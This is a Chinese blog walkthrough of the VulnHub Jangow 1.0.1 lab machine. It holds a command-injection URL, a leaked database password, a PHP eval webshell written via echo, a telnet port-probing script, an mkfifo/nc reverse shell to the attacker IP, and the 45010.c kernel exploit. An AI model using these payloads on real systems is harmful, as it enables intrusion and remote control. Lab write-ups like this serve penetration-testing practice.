来源

vulnhub:https://www.vulnhub.com/entry/jangow-101,754/

描述
难度:简单 这在 VirtualBox 而不是 VMware 上效果更好 我这里用Vmware无法显示IP地址,但是VirtualBox可以。

nmap扫描

nmap -sC -sV -T4 -sS -v 192.168.56.118   

Discovered open port 80/tcp on 192.168.56.118
Discovered open port 25/tcp on 192.168.56.118
Discovered open port 21/tcp on 192.168.56.118
Discovered open port 110/tcp on 192.168.56.118 PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
110/tcp open tcpwrapped

然后再80端口发现一个

http://192.168.56.118/site/busque.php?buscar=
命令执行,文件包含 经测试:命令执行
http://192.168.56.118/site/busque.php?buscar=tac ./wordpress/config.php 发现信息泄露 ?> mysqli_close($conn);
echo "Connected successfully"; }
die("Connection failed: " . mysqli_connect_error());
if (!$conn) { // Check connection
$conn = mysqli_connect($servername, $username, $password, $database); // Create connection
$password = "abygurl69";
$username = "desafio02";
$database = "desafio02";
$servername = "localhost";

没什么用

接着使用使用echo 写码

which nc 回显 /bin/nc
http://192.168.56.118/site/busque.php?buscar=/bin/nc 192.168.56.101 4444 -e /bin/bash 但是弹不上去,估计-e 给搬了 尝试echo 写码,可以成功
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST[x]);?>' >> shell.php 此时在查看就可以发现
http://192.168.56.118/site/busque.php?buscar=ls

蚁剑连接

发现

这个可登录系统

接下来就是弹shell了。

发现是做了端口限制出不去,要测试本地端口是否能够出去,最简单的方法是使用telnet命令。

import requests

url = "http://192.168.56.118/site/busque.php?buscar=telnet 192.168.56.101 "

for i in range(1, 65536):
try:
payload = url + str(i)
req = requests.get(payload, timeout=0.2)
if "Trying" in req.text:
print(i)
except:
pass

等待时间有点久

利用蚁剑传文件,弹shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f');?>
本地监听:nc -lvnp 443

访问:http://192.168.56.118/site/php-reverse-shell.php
即可成功

默认情况下,这些shell非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且通常具有奇怪的格式错误。

此时which python3,存在

使用python稳定shell:https://www.cnblogs.com/-Lucky-/p/17160172.html

此时成功拿到

然后就是权限提升

找了很久,,,,最后发现是版本问题

可利用的poc

最后发现是45010.c

也可以使用

开个web服务,远程下载(可能因为权限原因,在www-data下才可以下载)(我在/ 目录下下载失败,并且在/site/下载编译后的文件运行失败,最后还是下载45010.c,然后再编译的)

总结疑问

思路:web端,发现命令执行漏洞后,直接echo 写码,蚁剑连接。然后使用python测试进出端口-->443

反弹shell即可,最后使用python开启web服务,或使用ftp服务上传文件,蚁剑上传也可以,然后就是root权限

疑问

443端口已经弹shell了,为什么开启http服务,并没有中断,还可以下载文件

然后就发现下面的情况

开启443web服务后

上传文件

上传文件后端口状态发生了改变

"ESTABLISHED" 指的是 TCP/IP 连接已经建立,并且数据可以在两个端点之间互相传输。在网络通信中,TCP是一种可靠的传输协议,它需要在客户端和服务器之间建立连接,以保证传输数据的可靠性。

在TCP连接建立后,网络状态将变为 ESTABLISHED 状态。在这个状态下,客户端和服务器之间的数据传输可以进行,并且双方都可以发送和接收数据。当数据传输完成后,连接将被断开,状态将变为 CLOSED。

在网络通信问题排查过程中,查看网络状态是非常有用的方式。当客户端连接到服务器时,可以使用netstat命令来查看当前系统的网络状态信息。例如,可以使用以下命令查看本机与目标主机之间的连接状态:

netstat -an | grep 远程主机IP | grep ESTABLISHED
该命令将列出本机与指定远程主机之间的已建立连接信息。如果输出结果中的State字段为ESTABLISHED,则表示连接已经建立。 总之,ESTABLISHED 表示已经建立了一条 TCP/IP 连接,并且可以进行数据传输。 "TIME_WAIT" 是 TCP/IP 协议中一个重要的状态,它是在 TCP 连接关闭时产生的一种暂时状态。当 TCP 连接被主动关闭时,连接的一端将进入 TIME_WAIT 状态,等待 2 × MSL(Maximum Segment Lifetime,最大分段生存时间)的时间后才会关闭。 在 TIME_WAIT 状态下,TCP 连接已经被关闭,但是还没有完全终止。这个状态会持续一段时间,因为有可能会收到对之前连接上发送的数据的确认(ACK)。如果收到确认,就说明之前的连接仍然存在,需要等待确认超时或者两倍的最大分段生存时间后才能彻底关闭这个连接。 TIME_WAIT 状态的持续时间是有限制的,通常是几分钟到几十分钟不等。在这个时间内,连接不能被重用,会占用系统资源。如果有大量的 TIME_WAIT 状态的连接存在,可能会导致系统性能下降。 在网络故障分析和调试中,TIME_WAIT 状态是一个非常重要的指标。在使用 netstat 等工具查看网络状态时,如果看到大量的 TIME_WAIT 状态的连接,可能说明系统的网络连接负载比较大,需要进一步排查问题。 "LISTEN" 是 TCP/IP 协议中一个重要的状态,表示当前正在监听指定端口号的网络连接请求。当一个服务器程序运行起来后,它通常会监听一个固定的端口号,用于接受来自远程客户端的连接请求。 在 LISTEN 状态下,服务器程序正在等待来自客户端的连接请求。如果有一个客户端请求连接到该端口,并且满足一定的条件,服务器程序会创建一个新的 TCP 连接,将其分配给该客户端,并进入 ESTABLISHED 状态。在 LISTEN 状态下,服务器程序可以同时处理多个客户端的连接请求,这也是 TCP/IP 网络通信的一个典型特征。 在使用 netstat 命令等工具查看网络状态时,可以通过以下命令查看本机正在监听的端口号: netstat -an | grep LISTEN
该命令会列出当前正在监听的所有端口号和协议类型。如果输出结果中的State字段为 LISTEN,则表示该端口正在被该主机上的一个程序监听。如果出现大量的 LISTEN 状态的连接,可能说明有多个服务程序在运行,需要进一步排查问题。 总之,LISTEN 状态表示当前正在监听指定端口号,等待来自远程客户端的连接请求。

随机推荐

  1. 在asp.net core webapi 中开启swagger

    首先需要安装包 Swashbuckle.AspNetCore 接着在项目中右键属性 接着在Startup 文件中声明一个字段 private string currentAssemblyName = ...

  2. vulnhub靶场之HACKSUDO: 2 (HACKDUDO)

    准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: 2 (HackDudo),下载地址:https://download.vulnhub.com/hacksudo/hackdu ...

  3. TiDB SQL调优案例之避免TiFlash帮倒忙

    背景 早上收到某系统的告警tidb节点挂掉无法访问,情况十万火急.登录中控机查了一下display信息,4个TiDB.Prometheus.Grafana全挂了,某台机器hang死无法连接,经过快速重 ...

  4. 实现和CSS一样的easing动画?直接看Mozilla、Chromium源码!

    前言 在上一篇丝滑的贝塞尔曲线:从数学原理到应用介绍贝塞尔曲线实现动画时给自己留了一个坑,实现的动画效果和CSS的transition-timing-function: cubic-bezier差别较 ...

  5. [Java SE]Java SE异常合集

    1 概述 2 问题集 Q1 : JAVA应用程序启动时报"A fatal error has been detected by the Java Runtime Environment: E ...

  6. [数据库]Ubuntu Linux/Kylin: 安装MySQL

    1 文由 由于安装环境较为特殊,实在折煞人也.而此环境的网络博客/教程偏少,觉得有必要记录一下. 2 环境 安装主机不支持联网 即 不支持APT/APT-GET等傻瓜式的在线安装方式. 硬件架构: A ...

  7. systemctl 命令设置开机自启动失败

    哈喽大家好,我是咸鱼.今天跟大家分享一个关于 Linux 服务(service)相关的案例   案例现象 我在 3 月 31日的时候发表了一篇<shell 脚本之一键部署安装 Nginx> ...

  8. day06 循环和数据类型的内置方法

    循环加数据类型的内置方法 while 循环 for循环 range关键字 数据类型的内置方法 字符串的内置方法 while循环 while + continue #打印0-10的数字不打印6 n=0 ...

  9. Clion+dap仿真器,移植stm32项目

    如何将Keil项目移植到Clion,先看几位大佬的文章: 稚晖君的回答:配置CLion用于STM32开发[优雅の嵌入式开发] 野火论坛:DAP仿真器的使用教程 wuxx:nanoDAP使用疑难杂症解析 ...

  10. C# 根据前台传入实体名称,动态查询数据

    前言: 项目中时不时遇到查字典表等数据,只需要返回数据,不需要写其他业务,每个字典表可能都需要写一个接口给前端调用,比较麻烦,所以采用下面这种方式,前端只需传入实体名称即可,例如:SysUser 1. ...